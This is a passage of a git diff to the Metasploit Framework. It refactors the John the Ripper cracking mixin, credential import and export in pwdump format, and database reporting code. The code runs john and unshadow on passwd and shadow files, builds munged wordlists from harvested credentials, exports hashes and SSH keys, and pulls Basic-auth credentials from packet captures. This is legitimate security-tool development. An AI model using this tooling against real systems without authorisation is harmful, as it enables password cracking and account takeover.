Msf::Auxiliary::JohnTheRipper ) - @run_path = nil - @john_path = ::File.join(Msf::Config.data_directory, "john") - - autodetect_platform - end - - # @return [String] the run path instance variable if the platform is detectable, nil otherwise. - def autodetect_platform - return @run_path if @run_path - cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") - if File.directory?(cpuinfo_base) - data = nil - - case ::RUBY_PLATFORM - when /mingw|cygwin|mswin/ - fname = "#{cpuinfo_base}/cpuinfo.exe" - if File.exists?(fname) and File.executable?(fname) - data = %x{"#{fname}"} rescue nil - end - case data - when /sse2/ - @run_path ||= "run.win32.sse2/john.exe" - when /mmx/ - @run_path ||= "run.win32.mmx/john.exe" - else - @run_path ||= "run.win32.any/john.exe" - end - when /x86_64-linux/ - fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" - if File.exists? fname - ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} rescue nil - end - case data - when /mmx/ - @run_path ||= "run.linux.x64.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - when /i[\d]86-linux/ - fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" - if File.exists? fname - ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} rescue nil - end - case data - when /sse2/ - @run_path ||= "run.linux.x86.sse2/john" - when /mmx/ - @run_path ||= "run.linux.x86.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - end - end - - return @run_path - end - - def john_session_id - @session_id ||= ::Rex::Text.rand_text_alphanumeric(8) - end - - def john_pot_file - ::File.join( ::Msf::Config.config_directory, "john.pot" ) - end - - def john_cracked_passwords - ret = {} - return ret if not ::File.exist?(john_pot_file) - ::File.open(john_pot_file, "rb") do |fd| - fd.each_line do |line| - hash,clear = line.sub(/\r?\n$/, '').split(",", 2) - ret[hash] = clear - end - end - ret - end - - def john_show_passwords(hfile, format=nil) - res = {:cracked => 0, :uncracked => 0, :users => {} } - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return res - end - - pot = john_pot_file - conf = ::File.join(john_base_path, "confs", "john.conf") - - cmd = [ john_command, "--show", "--conf=#{conf}", "--pot=#{pot}", hfile] - - if format - cmd << "--format=" + format - end - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - line.chomp! - print_status(line) - if line =~ /(\d+) password hash(es)* cracked, (\d+) left/m - res[:cracked] = $1.to_i - res[:uncracked] = $2.to_i - end - - # XXX: If the password had : characters in it, we're screwed - - bits = line.split(':', -1) - - # Skip blank passwords - next if not bits[2] - - if (format== 'lm' or format == 'nt') - res[ :users ][ bits[0] ] = bits[1] - else - bits.last.chomp! - res[ :users ][ bits[0] ] = bits.drop(1) - end - - end - end - res - end - - def john_unshadow(passwd_file,shadow_file) - - retval="" - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return nil - end - - if File.exists?(passwd_file) - unless File.readable?(passwd_file) - print_error("We do not have permission to read #{passwd_file}") - return nil - end - else - print_error("File does not exist: #{passwd_file}") - return nil - end - - if File.exists?(shadow_file) - unless File.readable?(shadow_file) - print_error("We do not have permission to read #{shadow_file}") - return nil - end - else - print_error("File does not exist: #{shadow_file}") - return nil - end - - - cmd = [ john_command.gsub(/john$/, "unshadow"), passwd_file , shadow_file ] - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - retval << line - end - end - return retval - end - - def john_wordlist_path - # We ship it under wordlists/ - path = ::File.join(john_base_path, "wordlists", "password.lst") - # magnumripper/JohnTheRipper repo keeps it under run/ - unless ::File.file? path - path = ::File.join(john_base_path, "run", "password.lst") - end - - path - end - - def john_binary_path - path = nil - if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) - path = datastore['JOHN_PATH'] - ::FileUtils.chmod(0755, path) rescue nil - return path - end - - if not @run_path - if ::RUBY_PLATFORM =~ /mingw|cygwin|mswin/ - ::File.join(john_base_path, "john.exe") - else - path = ::File.join(john_base_path, "john") - ::FileUtils.chmod(0755, path) rescue nil - end - else - path = ::File.join(john_base_path, @run_path) - ::FileUtils.chmod(0755, path) rescue nil - end - - if path and ::File.exists?(path) - return path - end - - path = Rex::FileUtils.find_full_path("john") || - Rex::FileUtils.find_full_path("john.exe") - end - - def john_base_path - if datastore['JOHN_BASE'] and ::File.directory?(datastore['JOHN_BASE']) - return datastore['JOHN_BASE'] - end - if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) - return ::File.dirname( datastore['JOHN_PATH'] ) - end - @john_path - end - - def john_expand_word(str) - res = [str] - str.split(/\W+/) {|w| res << w } - res.uniq end + # @param pwd [String] Password recovered from cracking an LM hash + # @param hash [String] NTLM hash for this password + # @return [String] `pwd` converted to the correct case to match the + # given NTLM hash + # @return [nil] if no case matches the NT hash. This can happen when + # `pwd` came from a john run that only cracked half of the LM hash def john_lm_upper_to_ntlm(pwd, hash) pwd = pwd.upcase hash = hash.upcase @@ -273,179 +59,41 @@ module Auxiliary::JohnTheRipper end - def john_crack(hfile, opts={}) - - res = {:cracked => 0, :uncracked => 0, :users => {} } - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return nil - end - - # Don't bother making a log file, we'd just have to rm it when we're - # done anyway. - cmd = [ john_command, "--session=" + john_session_id, "--nolog"] - - if opts[:conf] - cmd << ( "--conf=" + opts[:conf] ) - else - cmd << ( "--conf=" + ::File.join(john_base_path, "confs", "john.conf") ) - end - - if opts[:pot] - cmd << ( "--pot=" + opts[:pot] ) - else - cmd << ( "--pot=" + john_pot_file ) - end - - if opts[:format] - cmd << ( "--format=" + opts[:format] ) - end - - if opts[:wordlist] - cmd << ( "--wordlist=" + opts[:wordlist] ) - end - - if opts[:incremental] - cmd << ( "--incremental=" + opts[:incremental] ) - end - - if opts[:single] - cmd << ( "--single=" + opts[:single] ) - end - - if opts[:rules] - cmd << ( "--rules=" + opts[:rules] ) - end - - cmd << hfile - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - print_status("Output: #{line.strip}") - end - end - - res + # This method creates a new {Metasploit::Framework::JtR::Cracker} and populates + # some of the attributes based on the module datastore options. + # + # @return [nilClass] if there is no active framework db connection + # @return [Metasploit::Framework::JtR::Cracker] if it successfully creates a JtR Cracker object + def new_john_cracker + return nil unless framework.db.active + Metasploit::Framework::JtR::Cracker.new( + config: datastore['CONFIG'], + john_path: datastore['JOHN_PATH'], + max_runtime: datastore['ITERATION_TIMEOUT'], + pot: datastore['POT'], + wordlist: datastore['CUSTOM_WORDLIST'] + ) end - def build_seed - - seed = [] - #Seed the wordlist with Database , Table, and Instance Names - - count = 0 - schemas = myworkspace.notes.where('ntype like ?', '%.schema%') - unless schemas.nil? or schemas.empty? - schemas.each do |anote| - seed << anote.data['DBName'] - count += 1 - anote.data['Tables'].each do |table| - seed << table['TableName'] - count += 1 - table['Columns'].each do |column| - seed << column['ColumnName'] - count += 1 - end - end - end - end - print_status "Seeding wordlist with DB schema info... #{count} words added" - count = 0 - - instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']) - unless instances.nil? or instances.empty? - instances.each do |anote| - seed << anote.data['InstanceName'] - count += 1 - end - end - print_status "Seeding with MSSQL Instance Names....#{count} words added" - count = 0 - - # Seed the wordlist with usernames, passwords, and hostnames - - myworkspace.hosts.find(:all).each do |o| - if o.name - seed << john_expand_word( o.name ) - count += 1 - end - end - print_status "Seeding with hostnames....#{count} words added" - count = 0 - - - myworkspace.creds.each do |o| - if o.user - seed << john_expand_word( o.user ) - count +=1 - end - if (o.pass and o.ptype !~ /hash/) - seed << john_expand_word( o.pass ) - count += 1 - end - end - print_status "Seeding with found credentials....#{count} words added" - count = 0 - - # Grab any known passwords out of the john.pot file - john_cracked_passwords.values do |v| - seed << v - count += 1 - end - print_status "Seeding with cracked passwords from John....#{count} words added" - count = 0 - - #Grab the default John Wordlist - john = File.open(john_wordlist_path, "rb") - john.each_line do |line| - seed << line.chomp - count += 1 - end - print_status "Seeding with default John wordlist...#{count} words added" - count = 0 - - if datastore['Wordlist'] - wordlist= File.open(datastore['Wordlist'], "rb") - wordlist.each_line do |line| - seed << line.chomp - count ==1 - end - print_status "Seeding from user supplied wordlist...#{count} words added" - end - - - - unless seed.empty? - seed.flatten! - seed.uniq! - if datastore['Munge'] - mungedseed=[] - seed.each do |word| - munged = word.gsub(/[sS]/, "$").gsub(/[aA]/,"@").gsub(/[oO]/,"0") - mungedseed << munged - munged.gsub!(/[eE]/, "3") - munged.gsub!(/[tT]/, "7") - mungedseed << munged - end - print_status "Adding #{mungedseed.count} words from munging..." - seed << mungedseed - seed.flatten! - seed.uniq! - end - end - print_status "De-duping the wordlist...." - - print_status("Wordlist Seeded with #{seed.length} words") - - return seed - + # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data + # out to a file and returns the {rex::quickfile} object. + # + # @return [nilClass] if there is no active framework db connection + # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file + def wordlist_file + return nil unless framework.db.active + wordlist = Metasploit::Framework::JtR::Wordlist.new( + custom_wordlist: datastore['CUSTOM_WORDLIST'], + mutate: datastore['MUTATE'], + use_creds: datastore['USE_CREDS'], + use_db_info: datastore['USE_DB_INFO'], + use_default_wordlist: datastore['USE_DEFAULT_WORDLIST'], + use_hostnames: datastore['USE_HOSTNAMES'], + use_common_root: datastore['USE_ROOT_WORDS'], + workspace: myworkspace + ) + wordlist.to_file end + end end diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index a20642ab91..6793162658 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -21,6 +21,10 @@ module Auxiliary::Login def initialize(info = {}) super + create_login_ivars + end + + def create_login_ivars # Appended to by each read and gets reset after each send. Doing it # this way lets us deal with partial reads in the middle of expect # strings, e.g., the first recv returns "Pa" and the second returns diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index afa9ff5928..d71205e8e4 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -19,6 +19,5 @@ require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/nmap' -require 'msf/core/auxiliary/jtr' require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/pii' diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 76ba80dd62..a7d10262a7 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -8,10 +8,13 @@ module Msf ### module Auxiliary::Report + extend Metasploit::Framework::Require + optionally_include_metasploit_credential_creation - def initialize(info = {}) - super + # This method overrides the method from Metasploit::Credential to check for an active db + def active_db? + framework.db.active end # Shortcut method for detecting when the DB is active @@ -23,6 +26,18 @@ module Auxiliary::Report @myworkspace = framework.db.find_workspace(self.workspace) end + # This method safely get the workspace ID. It handles if the db is not active + # + # @return [NilClass] if there is no DB connection + # @return [Fixnum] the ID of the current {Mdm::Workspace} + def myworkspace_id + if framework.db.active + myworkspace.id + else + nil + end + end + def mytask if self[:task] return self[:task].record @@ -387,6 +402,9 @@ module Auxiliary::Report print_status "Collecting #{cred_opts[:user]}:#{cred_opts[:pass]}" framework.db.report_auth_info(cred_opts) end + + + end end diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 33db0e6a54..2896ef886d 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -7,7 +7,6 @@ require 'csv' require 'tmpdir' require 'uri' -require 'zip' # # @@ -56,6 +55,7 @@ require 'rex/parser/retina_xml' # Project # +require 'metasploit/framework/require' require 'msf/core/db_manager/import_msf_xml' module Msf @@ -156,7 +156,10 @@ end # ### class DBManager + extend Metasploit::Framework::Require + include Msf::DBManager::ImportMsfXml + optionally_include_metasploit_credential_creation def rfc3330_reserved(ip) case ip.class.to_s @@ -1371,8 +1374,6 @@ class DBManager =end ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required") data = opts[:data] - method = nil - args = [] note = nil conditions = { :ntype => ntype } @@ -1381,15 +1382,7 @@ class DBManager case mode when :unique - notes = wspace.notes.where(conditions) - - # Only one note of this type should exist, make a new one if it - # isn't there. If it is, grab it and overwrite its data. - if notes.empty? - note = wspace.notes.new(conditions) - else - note = notes[0] - end + note = wspace.notes.where(conditions).first_or_initialize note.data = data when :unique_data notes = wspace.notes.where(conditions) @@ -2184,9 +2177,15 @@ class DBManager # @return [Integer] ID of created report def report_report(opts) return if not active - ::ActiveRecord::Base.connection_pool.with_connection { + created = opts.delete(:created_at) + updated = opts.delete(:updated_at) + state = opts.delete(:state) + ::ActiveRecord::Base.connection_pool.with_connection { report = Report.new(opts) + report.created_at = created + report.updated_at = updated + unless report.valid? errors = report.errors.full_messages.join('; ') raise RuntimeError "Report to be imported is not valid: #{errors}" @@ -2201,10 +2200,14 @@ class DBManager # Creates a ReportArtifact based on passed parameters. # @param opts [Hash] of ReportArtifact attributes def report_artifact(opts) + return if not active + artifacts_dir = Report::ARTIFACT_DIR tmp_path = opts[:file_path] artifact_name = File.basename tmp_path new_path = File.join(artifacts_dir, artifact_name) + created = opts.delete(:created_at) + updated = opts.delete(:updated_at) unless File.exists? tmp_path raise DBImportError 'Report artifact file to be imported does not exist.' @@ -2222,6 +2225,9 @@ class DBManager FileUtils.copy(tmp_path, new_path) opts[:file_path] = new_path artifact = ReportArtifact.new(opts) + artifact.created_at = created + artifact.updated_at = updated + unless artifact.valid? errors = artifact.errors.full_messages.join('; ') raise RuntimeError "Artifact to be imported is not valid: #{errors}" @@ -2906,29 +2912,36 @@ class DBManager data = "" ::File.open(filename, 'rb') do |f| - data = f.read(4) + # This check is the largest (byte-wise) that we need to do + # since the other 4-byte checks will be subsets of this larger one. + data = f.read(Metasploit::Credential::Exporter::Pwdump::FILE_ID_STRING.size) end if data.nil? raise DBImportError.new("Zero-length file") end - case data[0,4] - when "PK\x03\x04" - data = Zip::ZipFile.open(filename) - when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" - data = PacketFu::PcapFile.new(:filename => filename) + if data.index(Metasploit::Credential::Exporter::Pwdump::FILE_ID_STRING) + data = ::File.open(filename, 'rb') else - ::File.open(filename, 'rb') do |f| - sz = f.stat.size - data = f.read(sz) + case data[0,4] + when "PK\x03\x04" + data = Zip::File.open(filename) + when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" + data = PacketFu::PcapFile.new(:filename => filename) + else + ::File.open(filename, 'rb') do |f| + sz = f.stat.size + data = f.read(sz) + end end end + + if block import(args.merge(:data => data)) { |type,data| yield type,data } else import(args.merge(:data => data)) end - end # A dispatcher method that figures out the data's file type, @@ -2937,7 +2950,6 @@ class DBManager # is unknown. def import(args={}, &block) data = args[:data] || args['data'] - wspace = args[:wspace] || args['wspace'] || workspace ftype = import_filetype_detect(data) yield(:filetype, @import_filedata[:type]) if block self.send "import_#{ftype}".to_sym, args, &block @@ -2958,6 +2970,7 @@ class DBManager # :ip_list # :libpcap # :mbsa_xml + # :msf_cred_dump_zip # :msf_pwdump # :msf_xml # :msf_zip @@ -2979,9 +2992,11 @@ class DBManager # :wapiti_xml # # If there is no match, an error is raised instead. + # + # @raise DBImportError if the type can't be detected def import_filetype_detect(data) - if data and data.kind_of? Zip::ZipFile + if data and data.kind_of? Zip::File if data.entries.empty? raise DBImportError.new("The zip file provided is empty.") end @@ -2991,6 +3006,11 @@ class DBManager @import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"") @import_filedata[:zip_entry_names] = data.entries.map {|x| x.name} + if @import_filedata[:zip_entry_names].include?(Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) + @import_filedata[:type] = "Metasploit Credential Dump" + return :msf_cred_dump_zip + end + xml_files = @import_filedata[:zip_entry_names].grep(/^(.*)\.xml$/) # TODO This check for our zip export should be more extensive @@ -3014,6 +3034,12 @@ class DBManager return :libpcap end + # msfpwdump + if data.present? && data.kind_of?(::File) + @import_filedata[:type] = "Metasploit PWDump Export" + return :msf_pwdump + end + # This is a text string, lets make sure its treated as binary data = data.unpack("C*").pack("C*") if data and data.to_s.strip.length == 0 @@ -3376,7 +3402,7 @@ class DBManager end end # tcp or udp - inspect_single_packet(pkt,wspace,args[:task]) + inspect_single_packet(pkt,wspace,args) end # data.body.map @@ -3389,16 +3415,17 @@ class DBManager # Do all the single packet analysis we can while churning through the pcap # the first time. Multiple packet inspection will come later, where we can # do stream analysis, compare requests and responses, etc. - def inspect_single_packet(pkt,wspace,task=nil) + def inspect_single_packet(pkt,wspace,args) if pkt.is_tcp? or pkt.is_udp? - inspect_single_packet_http(pkt,wspace,task) + inspect_single_packet_http(pkt,wspace,args) end end # Checks for packets that are headed towards port 80, are tcp, contain an HTTP/1.0 # line, contains an Authorization line, contains a b64-encoded credential, and # extracts it. Reports this credential and solidifies the service as HTTP. - def inspect_single_packet_http(pkt,wspace,task=nil) + def inspect_single_packet_http(pkt,wspace,args) + task = args.fetch(:task, nil) # First, check the server side (data from port 80). if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n @@ -3442,17 +3469,37 @@ class DBManager :name => "http", :task => task ) - report_auth_info( - :workspace => wspace, - :host => pkt.ip_daddr, - :port => pkt.tcp_dst, - :proto => "tcp", - :type => "password", - :active => true, # Once we can build a stream, determine if the auth was successful. For now, assume it is. - :user => user, - :pass => pass, - :task => task - ) + + service_data = { + address: pkt.ip_daddr, + port: pkt.tcp_dst, + service_name: 'http', + protocol: 'tcp', + workspace_id: wspace.id + } + service_data[:task_id] = task.id if task + + filename = args[:filename] + + credential_data = { + origin_type: :import, + private_data: pass, + private_type: :password, + username: user, + filename: filename + } + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + + create_credential_login(login_data) + # That's all we want to know from this service. return :something_significant end @@ -3496,109 +3543,15 @@ class DBManager end end - # - # Metasploit PWDump Export - # - # This file format is generated by the db_export -f pwdump and - # the Metasploit Express and Pro report types of "PWDump." - # - # This particular block scheme is temporary, since someone is - # bound to want to import gigantic lists, so we'll want a - # stream parser eventually (just like the other non-nmap formats). - # - # The file format is: - # # 1.2.3.4:23/tcp (telnet) - # username password - # user2 p\x01a\x02ss2 - # pass3 - # user3 - # smbuser:sid:lmhash:nthash::: - # - # Note the leading hash for the host:port line. Note also all usernames - # and passwords must be in 7-bit ASCII (character sequences of "\x01" - # will be interpolated -- this includes spaces, which must be notated - # as "\x20". Blank usernames or passwords should be . - # + + # Perform in an import of an msfpwdump file def import_msf_pwdump(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - last_host = nil - - addr = nil - port = nil - proto = nil - sname = nil - ptype = nil - active = false # Are there cases where imported creds are good? I just hate trusting the import right away. - - data.each_line do |line| - case line - when /^[\s]*#/ # Comment lines - if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n] - addr = $1 - port = $2 - proto = $4 - sname = $6 - end - when /^[\s]*Warning:/ - # Discard warning messages. - next - - # SMB Hash - when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ - user = ([nil, ""].include?($1)) ? "" : $1 - pass = ([nil, ""].include?($2)) ? "" : $2 - ptype = "smb_hash" - - # SMB Hash - when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ - user = ([nil, ""].include?($1)) ? "" : $1 - pass = "" - ptype = "smb_hash" - - # SMB Hash with cracked plaintext, or just plain old plaintext - when /^[\s]*([^\s:]+):(.+):[A-Fa-f0-9]*:[A-Fa-f0-9]*:::$/ - user = ([nil, ""].include?($1)) ? "" : $1 - pass = ([nil, ""].include?($2)) ? "" : $2 - ptype = "password" - - # Must be a user pass - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n - user = ([nil, ""].include?($1)) ? "" : dehex($1) - pass = ([nil, ""].include?($2)) ? "" : dehex($2) - ptype = "password" - else # Some unknown line not broken by a space. - next - end - - next unless [addr,port,user,pass].compact.size == 4 - next unless ipv46_validator(addr) # Skip Malformed addrs - next unless port[/^[0-9]+$/] # Skip malformed ports - if bl.include? addr - next - else - yield(:address,addr) if block and addr != last_host - last_host = addr - end - - cred_info = { - :host => addr, - :port => port, - :user => user, - :pass => pass, - :type => ptype, - :workspace => wspace, - :task => args[:task] - } - cred_info[:proto] = proto if proto - cred_info[:sname] = sname if sname - cred_info[:active] = active - - report_auth_info(cred_info) - user = pass = ptype = nil - end - + filename = File.basename(args[:data].path) + wspace = args[:wspace] || workspace + origin = Metasploit::Credential::Origin::Import.create!(filename: filename) + importer = Metasploit::Credential::Importer::Pwdump.new(input: args[:data], workspace: wspace, filename: filename, origin:origin) + importer.import! + importer.input.close unless importer.input.closed? end # If hex notation is present, turn them into a character. @@ -3649,7 +3602,7 @@ class DBManager # XXX: Refactor so it's not quite as sanity-blasting. def import_msf_zip(args={}, &block) data = args[:data] - wpsace = args[:wspace] || workspace + wspace = args[:wspace] || workspace bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename]) @@ -3680,9 +3633,10 @@ class DBManager } data.entries.each do |e| - target = ::File.join(@import_filedata[:zip_tmp],e.name) + target = ::File.join(@import_filedata[:zip_tmp], e.name) data.extract(e,target) - if target =~ /^.*.xml$/ + + if target =~ /\.xml\z/ target_data = ::File.open(target, "rb") {|f| f.read 1024} if import_filetype_detect(target_data) == :msf_xml @import_filedata[:zip_extracted_xml] = target @@ -3690,6 +3644,16 @@ class DBManager end end + # Import any creds if there are some in the import file + Dir.entries(@import_filedata[:zip_tmp]).each do |entry| + if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/ + manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) + if File.exists? manifest_file_path + import_msf_cred_dump(manifest_file_path, wspace) + end + end + end + # This will kick the newly-extracted XML file through # the import_file process all over again. if @import_filedata[:zip_extracted_xml] @@ -3856,6 +3820,31 @@ class DBManager end end + # Import credentials given a path to a valid manifest file + # + # @param creds_dump_manifest_path [String] + # @param workspace [Mdm::Workspace] Default: {#workspace} + # @return [void] + def import_msf_cred_dump(creds_dump_manifest_path, workspace) + manifest_file = File.open(creds_dump_manifest_path) + origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(creds_dump_manifest_path)) + importer = Metasploit::Credential::Importer::Core.new(workspace: workspace, input: manifest_file, origin: origin) + importer.import! + end + + # Import credentials given a path to a valid manifest file + # + # @option args [String] :filename + # @option args [Mdm::Workspace] :wspace Default: {#workspace} + # @return [void] + def import_msf_cred_dump_zip(args = {}) + wspace = args[:wspace] || workspace + origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(args[:filename])) + importer = Metasploit::Credential::Importer::Zip.new(workspace: wspace, input: File.open(args[:filename]), origin: origin) + importer.import! + nil + end + # @param report [REXML::Element] to be imported # @param args [Hash] # @param base_dir [String] diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index 0a110f3006..45e7f48ff7 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -28,175 +28,19 @@ class Export true end - # Creates the PWDUMP text file. smb_hash and ssh_key credentials are - # treated specially -- all other ptypes are treated as plain text. - # - # Some day in the very near future, this file format will be importable -- - # the comment preceding the credential is always in the format of IPAddr:Port/Proto (name), - # so it should be a simple matter to read them back in and store credentials - # in the right place. Finally, this format is already parsable by John the Ripper, - # so hashes can be bruteforced offline. + + # Performs an export of the workspace's `Metasploit::Credential::Login` objects in pwdump format + # @param path [String] the path on the local filesystem where the exported data will be written + # @return [void] def to_pwdump_file(path, &block) - yield(:status, "start", "password dump") if block_given? - creds = extract_credentials - report_file = ::File.open(path, "wb") - report_file.write "# Metasploit PWDump Export v1\n" - report_file.write "# Generated: #{Time.now.utc}\n" - report_file.write "# Project: #{myworkspace.name}\n" - report_file.write "#\n" - report_file.write "#" * 40; report_file.write "\n" + exporter = Metasploit::Credential::Exporter::Pwdump.new(workspace: workspace) - count = count_credentials("smb_hash",creds) - scount = creds.has_key?("smb_hash") ? creds["smb_hash"].size : 0 - yield(:status, "start", "LM/NTLM Hash dump") if block_given? - report_file.write "# LM/NTLM Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_hash",creds,report_file) - - count = count_credentials("smb_netv1_hash",creds) - scount = creds.has_key?("smb_netv1_hash") ? creds["smb_netv1_hash"].size : 0 - yield(:status, "start", "NETLMv1/NETNTLMv1 Hash dump") if block_given? - report_file.write "# NETLMv1/NETNTLMv1 Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_netv1_hash",creds,report_file) - - count = count_credentials("smb_netv2_hash",creds) - scount = creds.has_key?("smb_netv2_hash") ? creds["smb_netv2_hash"].size : 0 - yield(:status, "start", "NETLMv2/NETNTLMv2 Hash dump") if block_given? - report_file.write "# NETLMv2/NETNTLMv2 Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_netv2_hash",creds,report_file) - - count = count_credentials("ssh_key",creds) - scount = creds.has_key?("ssh_key") ? creds["ssh_key"].size : 0 - yield(:status, "start", "SSH Key dump") if block_given? - report_file.write "# SSH Private Keys (%d services, %d keys)\n" % [scount, count] - write_credentials("ssh_key",creds,report_file) - - count = count_credentials("text",creds) - scount = creds.has_key?("text") ? creds["text"].size : 0 - yield(:status, "start", "Plaintext Credential dump") if block_given? - report_file.write "# Plaintext Credentials (%d services, %d credentials)\n" % [scount, count] - write_credentials("text",creds,report_file) - - report_file.flush - report_file.close - yield(:status, "complete", "password dump") if block_given? + File.open(path, 'w') do |file| + file << exporter.rendered_output + end true end - # Counts the total number of credentials for its type. - def count_credentials(ptype,creds) - sz = 0 - if creds[ptype] - creds[ptype].each_pair { |svc, data| data.each { |c| sz +=1 } } - end - return sz - end - - # Formats credentials according to their type, and writes it out to the - # supplied report file. Note for reimporting: Blank values are - def write_credentials(ptype,creds,report_file) - if creds[ptype] - creds[ptype].each_pair do |svc, data| - report_file.write "# #{svc}\n" - case ptype - when "smb_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass - report_file.write "%s:%d:%s:::\n" % [user,c.id,pass] - end - when "smb_netv1_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass - report_file.write "%s::%s\n" % [user,pass] - end - when "smb_netv2_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass - if pass != "" - pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "" - end - if pass == "" - # Basically this is an error (maybe around [\x20-\x7e] in regex) above - report_file.write(user + "::" + pass + ":") - report_file.write(pass + ":" + pass + ":" + pass + "\n") - else - datas = pass.split(":") - if datas[1] != "00" * 24 - report_file.write "# netlmv2\n" - report_file.write(user + "::" + datas[0] + ":") - report_file.write(datas[3] + ":" + datas[1][0,32] + ":" + datas[1][32,16] + "\n") - end - report_file.write "# netntlmv2\n" - report_file.write(user + "::" + datas[0] + ":") - report_file.write(datas[3] + ":" + datas[2][0,32] + ":" + datas[2][32..-1] + "\n") - end - end - when "ssh_key" - data.each do |c| - if ::File.exists?(c.pass) && ::File.readable?(c.pass) - user = (c.user.nil? || c.user.empty?) ? "" : c.user - key = ::File.open(c.pass) {|f| f.read f.stat.size} - key_id = (c.proof && c.proof[/^KEY=/]) ? c.proof[4,47] : "" - report_file.write "#{user} '#{key_id}'\n" - report_file.write key - report_file.write "\n" unless key[-1,1] == "\n" - # Report file missing / permissions issues in the report itself. - elsif !::File.exists?(c.pass) - report_file.puts "Warning: missing private key file '#{c.pass}'." - else - report_file.puts "Warning: could not read the private key '#{c.pass}'." - end - end - when "text" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "" : Rex::Text.ascii_safe_hex(c.user, true) - pass = (c.pass.nil? || c.pass.empty?) ? "" : Rex::Text.ascii_safe_hex(c.pass, true) - report_file.write "%s:%s:::\n" % [user,pass] - end - end - report_file.flush - end - else - report_file.write "# No credentials for this type were discovered.\n" - end - report_file.write "#" * 40; report_file.write "\n" - end - - # Extracts credentials and organizes by type, then by host, and finally by individual - # credential data. Will look something like: - # - # {"smb_hash" => {"host1:445" => [user1,user2,user3], "host2:445" => [user4,user5]}}, - # {"ssh_key" => {"host3:22" => [user10,user20]}}, - # {"text" => {"host4:23" => [user100,user101]}} - # - # This hash of hashes of arrays is, in turn, consumed by gen_export_pwdump. - def extract_credentials - creds = Hash.new - creds["ssh_key"] = {} - creds["smb_hash"] 